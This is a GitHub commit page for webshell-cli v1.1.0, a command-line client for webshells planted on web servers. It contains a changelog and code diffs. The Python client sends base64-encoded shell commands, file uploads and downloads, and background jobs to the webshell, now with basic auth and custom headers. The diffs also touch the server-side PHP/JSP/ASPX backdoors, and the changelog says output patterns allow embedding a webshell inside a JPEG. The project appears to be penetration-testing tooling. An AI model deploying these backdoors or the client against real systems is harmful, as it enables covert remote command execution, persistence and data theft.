Skip to content

Commit 8e24ce6

Browse files
authored
Merge pull request #1 from qtc-de/develop
Prepare v1.1.0 Release
2 parents b623a81 + ecd42b6 commit 8e24ce6

File tree

7 files changed

+151
-35
lines changed

7 files changed

+151
-35
lines changed

CHANGELOG.md

Lines changed: 28 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,35 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
66
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
77

88

9+
## [1.1.0] - Aug 07, 2022
10+
11+
### Added
12+
13+
* Added support for *Basic Authentication* using the `--username` and `--password` options.
14+
* Added support for custom *HTTP headers* using the `-H` option.
15+
16+
### Changed
17+
18+
* *webshell-cli* now uses patterns to detect webshell output within of server responses.
19+
This is useful, when you have to embed the webshell into other content (e.g. a *JPEG* file).
20+
21+
### Checksums (SHA256):
22+
23+
* `webshell.php`: `812cbbf7fd27976ab0576ead9f565c54eb2f41500c7b3da9bde06f0f7c6f89e6`
24+
* `webshell.jsp`: `1c06b43aa06decd1d2a5e1be4a4aeb6c4db325f42018dcd920eeb686c9108586`
25+
* `webshell.aspx`: `6294b0be29209434152ac7c16980229e5d44a0d70ee514940d611f22a1e2441a`
26+
* `webshell-cli.py`: `aa3f7138537e1680d2c623f01faa7bbc7c5b7e1a25a338713c30ae02b3dea021`
27+
28+
929
## [1.0.0] - Apr 29, 2022
1030

1131
### Initial Release
1232

13-
* Checksums (SHA256):
14-
- `webshell.php`: `df8568952cb93a5ffb4becef0f31c98988a434eef2819b372aad78396e0c663f`
15-
- `webshell.jsp`: `9e909081e9e74de4a798eb4be9118c037d34ad7f91e5b4a17dc5e9f736b5c156`
16-
- `webshell.aspx`: `95f7caca59183eaa899b57946c9e5e9dbc1a96c077dce2b416228fe764ecee88`
17-
- `webshell-cli.py`: `e8a879bf19acccc3ee490bd19527ed9459b749d8108c722ebac7e52fe6dcd953`
33+
:)
34+
35+
### Checksums (SHA256):
36+
37+
* `webshell.php`: `df8568952cb93a5ffb4becef0f31c98988a434eef2819b372aad78396e0c663f`
38+
* `webshell.jsp`: `9e909081e9e74de4a798eb4be9118c037d34ad7f91e5b4a17dc5e9f736b5c156`
39+
* `webshell.aspx`: `95f7caca59183eaa899b57946c9e5e9dbc1a96c077dce2b416228fe764ecee88`
40+
* `webshell-cli.py`: `e8a879bf19acccc3ee490bd19527ed9459b749d8108c722ebac7e52fe6dcd953`

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ variables and allows easy uploads and downloads of files.
1010
![](https://github.com/qtc-de/webshell-cli/workflows/develop%20Python%20CI/badge.svg?branch=develop)
1111
[![](https://img.shields.io/badge/version-1.0.0-blue)](https://github.com/qtc-de/webshell-cli/releases)
1212
![](https://img.shields.io/badge/python-9%2b-blue)
13-
[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/container-arsenal/blob/master/LICENSE)
13+
[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/webshell-cli/blob/master/LICENSE)
1414

1515

1616

docs/specification.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,16 @@ This document specifies the requirements a webshell needs to implement to be com
66
with *webshell-cli*.
77

88

9+
### pattern
10+
11+
----
12+
13+
*webshell-cli* includes a parameter within name `pattern` in each request. The webshell
14+
on the server side is expected to return the result of a *webshell-cli* call enclosed
15+
within this pattern (`<pattern><result><pattern>`). This allows *webshell-cli* to find
16+
the shell output, even if other data is contained within the response.
17+
18+
919
### chdir
1020

1121
----

webshell-cli.py

Lines changed: 101 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
#!/usr/bin/python3 -W ignore
22

3+
import re
34
import sys
5+
import uuid
46
import shlex
57
import base64
68
import pathlib
@@ -46,12 +48,24 @@ class ParameterCountException(Exception):
4648
'''
4749

4850

51+
class PatternNotFoundException(Exception):
52+
'''
53+
When the webshell pattern cannot be found within the output.
54+
'''
55+
56+
4957
class InvalidProtocolException(Exception):
5058
'''
5159
When the user specified URL uses an invalid protocol.
5260
'''
5361

5462

63+
class InvalidHeaderException(Exception):
64+
'''
65+
When the user specified an invalid HTTP header.
66+
'''
67+
68+
5569
def prepare_url(url: str) -> str:
5670
'''
5771
Parses the user specified URL and adds an HTTP prefix if required.
@@ -178,6 +192,7 @@ class Webshell:
178192
The webshell class is used to interact with a webshell.
179193
'''
180194
action = 'action'
195+
pattern = 'pattern'
181196
cmd_param = 'b64_cmd'
182197
env_param = 'b64_env'
183198
back_param = 'back'
@@ -192,7 +207,7 @@ class Webshell:
192207
upload_action = 'upload'
193208
download_action = 'download'
194209

195-
def __init__(self, url: str, shell: str) -> None:
210+
def __init__(self, url: str, shell: str, pattern: str, username: str, password: str, headers: str) -> None:
196211
'''
197212
Initializes a webshell object. The only really required parameter is
198213
the URL the webshell is reachable on. The shell parameter can be
@@ -202,6 +217,10 @@ def __init__(self, url: str, shell: str) -> None:
202217
Parameters:
203218
url The URL of the webshell
204219
shell Shell command to use on the server side
220+
pattern Optional pattern to find the shell response
221+
username Username to use for basic authentication
222+
password Password to use for basic authentication
223+
headers Additional HTTP headers
205224
206225
Returns:
207226
None
@@ -218,6 +237,24 @@ def __init__(self, url: str, shell: str) -> None:
218237
self.posix = None
219238
self.path_func = None
220239

240+
self.pattern = pattern if pattern is not None else uuid.uuid4().hex
241+
self.regex = re.compile(re.escape(self.pattern) + '(.+)' + re.escape(self.pattern))
242+
243+
self.session = requests.Session()
244+
245+
if username is not None and password is not None:
246+
self.session.auth = (username, password)
247+
248+
try:
249+
250+
for header in headers:
251+
252+
key, value = header.split(':', 1)
253+
self.session.headers.update({key: value.strip()})
254+
255+
except ValueError:
256+
raise InvalidHeaderException(f'The specified header value {header} is invalid.')
257+
221258
self.init()
222259

223260
def init(self) -> None:
@@ -230,8 +267,13 @@ def init(self) -> None:
230267
Returns:
231268
None
232269
'''
233-
response = requests.post(self.url, data={Webshell.action: Webshell.init_action})
234-
result = Webshell.get_response(response, 'init')
270+
data = {
271+
Webshell.action: Webshell.init_action,
272+
Webshell.pattern: self.pattern,
273+
}
274+
275+
response = self.session.post(self.url, data=data)
276+
result = self.get_response(response, 'init')
235277

236278
sep, self.type, self.user, self.host, self.path = self.get_values(result, 5, True, False)
237279

@@ -330,6 +372,7 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
330372
Webshell.cmd_param: b64(f'{self.shell}{cmd}'),
331373
Webshell.chdir_param: b64(self.path),
332374
Webshell.env_param: self.get_env(),
375+
Webshell.pattern: self.pattern,
333376
}
334377

335378
if background:
@@ -341,15 +384,15 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
341384
data[Webshell.cmd_param] = b64(f'{self.shell}{cmd}')
342385

343386
try:
344-
requests.post(self.url, data=data, timeout=0.0000000001)
387+
self.session.post(self.url, data=data, timeout=0.0000000001)
345388

346389
except requests.exceptions.ReadTimeout:
347390
pass
348391

349392
else:
350393

351-
response = requests.post(self.url, data=data)
352-
result = Webshell.get_response(response, 'issue_command')
394+
response = self.session.post(self.url, data=data)
395+
result = self.get_response(response, 'issue_command')
353396

354397
result, self.path = self.get_values(result, 2, True)
355398
return result
@@ -387,10 +430,11 @@ def eval(self, cmd: str) -> str:
387430
Webshell.chdir_param: b64(self.path),
388431
Webshell.env_param: self.get_env(),
389432
Webshell.upload_param: b64(content),
433+
Webshell.pattern: self.pattern,
390434
}
391435

392-
response = requests.post(self.url, data=data)
393-
Webshell.get_response(response, 'eval')
436+
response = self.session.post(self.url, data=data)
437+
self.get_response(response, 'eval')
394438

395439
return f'[+] {path.absolute()} was evaluated by the server.'
396440

@@ -409,13 +453,22 @@ def change_directory(self, cmd: str = None) -> str:
409453
if not cmd.startswith('cd'):
410454
raise InternalError('change_directory was called despite cd not used.')
411455

412-
_, path = cmd.split(' ', 1)
456+
try:
457+
_, path = cmd.split(' ', 1)
458+
459+
except ValueError:
460+
raise ValueError('Usage: cd <DIR>')
413461

414462
if not self.path_func(path).is_absolute() and self.path is not None:
415463
path = self.path.joinpath(path)
416464

417-
response = requests.post(self.url, data={Webshell.chdir_param: b64(normpath(path))})
418-
result = Webshell.get_response(response, 'change_directory')
465+
data = {
466+
Webshell.chdir_param: b64(normpath(path)),
467+
Webshell.pattern: self.pattern,
468+
}
469+
470+
response = self.session.post(self.url, data=data)
471+
result = self.get_response(response, 'change_directory')
419472

420473
self.path = self.get_values(result, 1, True)[0]
421474

@@ -453,11 +506,12 @@ def upload_file(self, cmd: str) -> str:
453506
Webshell.upload_param: b64(content),
454507
Webshell.filename_param: b64(rfile),
455508
Webshell.chdir_param: b64(self.path),
456-
Webshell.orig_param: b64(lfile.name)
509+
Webshell.orig_param: b64(lfile.name),
510+
Webshell.pattern: self.pattern,
457511
}
458512

459-
response = requests.post(self.url, data=request_data)
460-
Webshell.get_response(response, 'upload_file')
513+
response = self.session.post(self.url, data=request_data)
514+
self.get_response(response, 'upload_file')
461515

462516
return f'[+] Uploaded {len(content)} Bytes to {rfile}'
463517

@@ -488,11 +542,12 @@ def download_file(self, cmd: str) -> str:
488542
request_data = {
489543
Webshell.action: Webshell.download_action,
490544
Webshell.filename_param: b64(rfile),
491-
Webshell.chdir_param: b64(self.path)
545+
Webshell.chdir_param: b64(self.path),
546+
Webshell.pattern: self.pattern,
492547
}
493548

494-
response = requests.post(self.url, data=request_data)
495-
result = Webshell.get_response(response, 'download_file')
549+
response = self.session.post(self.url, data=request_data)
550+
result = self.get_response(response, 'download_file')
496551

497552
content, _ = self.get_values(result, 2, False)
498553

@@ -548,7 +603,7 @@ def get_values(self, data: str, count: int, decode: bool = False, path: bool = T
548603

549604
return return_value
550605

551-
def get_response(response: requests.Response, action: str) -> str:
606+
def get_response(self, response: requests.Response, action: str) -> str:
552607
'''
553608
Extracts the HTTP response text and handles some common errors.
554609
The status code 202 is expected to be returned if the requested
@@ -563,16 +618,21 @@ def get_response(response: requests.Response, action: str) -> str:
563618
Returns:
564619
str extracted response text
565620
'''
566-
if response.status_code == 202:
567-
message = b64d(response.text).decode()
568-
raise InvalidDirectoryException(message)
569-
570-
if response.status_code != 200:
621+
if response.status_code != 200 and response.status_code != 202:
571622
message = f'HTTP status code for {action}: {response.status_code}'
572-
message += ' - ' + response.text if response.text else ''
623+
message += ' - Server response:\n' + response.text if response.text else ''
573624
raise ServerError(message)
574625

575-
return response.text
626+
result = self.regex.search(response.text)
627+
628+
if not result:
629+
raise PatternNotFoundException(f'Pattern {self.pattern} was not found in the server output.')
630+
631+
if response.status_code == 202:
632+
message = b64d(result.groups(1)[0]).decode()
633+
raise InvalidDirectoryException(message)
634+
635+
return result.groups(1)[0]
576636

577637
def get_files(self, cmd: str, path_func1: Callable, path_func2: Callable) -> tuple:
578638
'''
@@ -699,10 +759,14 @@ def handle_cmd(self, cmd: str) -> str:
699759
parser = argparse.ArgumentParser(description='''webshell-cli v1.0.0 - A simple command line interface for webshells''')
700760
parser.add_argument('url', help='url of the webshell')
701761
parser.add_argument('-m', '--memory', action='store_true', help='use InMemoryHistory instead of FileHistory')
702-
parser.add_argument('-f', '--file-history', default=history, help=f'location of history file (default: {history})')
703-
parser.add_argument('-s', '--shell', default=None, help='use the specified shell command (e.g. "powershell -c")')
704-
args = parser.parse_args()
762+
parser.add_argument('-f', '--file-history', metavar='file', default=history, help=f'history file (default: {history})')
763+
parser.add_argument('-s', '--shell', metavar='shell', help='use the specified shell command (e.g. "powershell -c")')
764+
parser.add_argument('--pattern', metavar='pattern', help='pattern to identify webshell output (default: random)')
765+
parser.add_argument('-u', '--username', metavar='user', help='username for basic authentication')
766+
parser.add_argument('-p', '--password', metavar='pass', help='password for basic authentication')
767+
parser.add_argument('-H', '--header', metavar='header', nargs='*', default=[], help='additional HTTP headers')
705768

769+
args = parser.parse_args()
706770
check_shell(args.shell)
707771

708772
try:
@@ -717,7 +781,7 @@ def handle_cmd(self, cmd: str) -> str:
717781
history = FileHistory(args.file_history)
718782

719783
url = prepare_url(args.url)
720-
webshell = Webshell(url, args.shell)
784+
webshell = Webshell(url, args.shell, args.pattern, args.username, args.password, args.header)
721785
webshell.cmd_loop(history)
722786

723787
except ServerError as e:
@@ -728,6 +792,14 @@ def handle_cmd(self, cmd: str) -> str:
728792
print('[-] Server response contained an unexpected amount of parameters.')
729793
print(f'[-] Webshell at {args.url} is not functional.')
730794

795+
except PatternNotFoundException as e:
796+
print('[-] Caught PatternNotFoundException while parsing server response.')
797+
print(f'[-] Error: {e}')
798+
799+
except InvalidHeaderException as e:
800+
print('[-] Caught InvalidHeaderException while preparing request.')
801+
print(f'[-] Error: {e}')
802+
731803
except IsADirectoryError as e:
732804
print('[-] The specified filename is an existing directory:')
733805
print(f'[-] {e}')

webshells/webshell.aspx

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,8 @@
1818
1919
public void Page_Load(Object s, EventArgs e)
2020
{
21+
Response.Write(Request.Params["pattern"]);
22+
2123
try {
2224
2325
string cwd = System.IO.Directory.GetCurrentDirectory();
@@ -31,6 +33,7 @@
3133
if (!System.IO.Directory.Exists(cwd)) {
3234
Response.StatusCode = 202;
3335
pb64("Error: Unable to change directory to " + cwd, false);
36+
Response.Write(Request.Params["pattern"]);
3437
return;
3538
}
3639
}
@@ -96,5 +99,7 @@
9699
Response.StatusCode = 201;
97100
Response.Write("Caught unexpected " + ex.GetType().Name + ": " + ex.Message);
98101
}
102+
103+
Response.Write(Request.Params["pattern"]);
99104
}
100105
</script>

webshells/webshell.jsp

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -110,11 +110,13 @@ public void process(JspWriter out, HttpServletRequest request, HttpServletRespon
110110
%>
111111

112112
<%
113+
out.print(request.getParameter("pattern"));
113114
try {
114115
process(out, request, response);
115116
116117
} catch (IOException e) {
117118
response.setStatus(201);
118119
out.print("Caught unexpected " + e.getClass().getName() + ": " + e.getMessage());
119120
}
121+
out.print(request.getParameter("pattern"));
120122
%>

0 commit comments

Comments
 (0)